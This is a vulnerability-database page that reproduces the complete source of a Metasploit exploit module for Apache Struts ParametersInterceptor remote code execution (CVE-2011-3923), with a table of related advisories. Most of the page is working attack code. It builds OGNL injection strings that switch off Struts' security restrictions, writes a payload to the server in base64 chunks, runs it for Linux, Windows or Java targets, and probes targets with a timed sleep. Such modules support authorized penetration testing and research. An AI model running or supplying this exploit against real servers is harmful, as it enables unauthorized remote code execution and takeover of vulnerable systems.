| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Apache Struts ParametersInterceptor Remote Code Execution | 22 Mar 201300:00 | – | zdt | |
| Shopizer 1.1.5 Multiple Vulnerability | 12 Jul 201400:00 | – | zdt | |
| CVE-2011-3923 | 22 Mar 201300:00 | – | circl | |
| Apache Struts 2 ParametersInterceptor OGNL Command Execution (CVE-2011-3923) | 14 May 201200:00 | – | checkpoint_advisories | |
| CVE-2011-3923 | 1 Nov 201913:57 | – | cve | |
| CVE-2011-3923 | 1 Nov 201913:57 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_STRUTS3 | 1 Nov 201914:15 | – | d2 | |
| Apache-Struts ParameterInterceptor < 2.3.1.2 RCE Windows | 7 Apr 201200:00 | – | dsquare | |
| Apache-Struts ParameterInterceptor < 2.3.1.2 RCE Linux | 7 Apr 201200:00 | – | dsquare | |
| Apache Struts - 'ParametersInterceptor' Remote Code Execution (Metasploit) | 22 Mar 201300:00 | – | exploitdb |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi', #ARCH_JAVA support
'Christian Mehlmauer' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => '2011-10-01',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
])
end
def parameter
datastore['PARAMETER']
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
def get_parameter
retval = {}
return retval unless datastore['GET_PARAMETERS']
splitted = datastore['GET_PARAMETERS'].split('&')
return retval if splitted.nil? || splitted.empty?
splitted.each { |item|
name, value = item.split('=')
# no check here, value can be nil if parameter is ¶m
decoded_name = name ? Rex::Text::uri_decode(name) : nil
decoded_value = value ? Rex::Text::uri_decode(value) : nil
retval[decoded_name] = decoded_value
}
retval
end
def execute_command(cmd)
junk = Rex::Text.rand_text_alpha(6)
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
uri = normalize_uri(datastore['TARGETURI'])
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
})
resp
end
def exploit
#Set up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
append = false
#Now arch specific...
case target['Platform']
when 'linux'
pl_exe = generate_payload_exe
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ''
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'win'
pl_exe = generate_payload_exe
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
print_status("Uploading exploit to #{payload_exe}")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor) * 3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe, payload_exe, append)
print_status("Executing payload")
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(payload_exe)
end
def java_upload_part(part, filename, append = false)
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation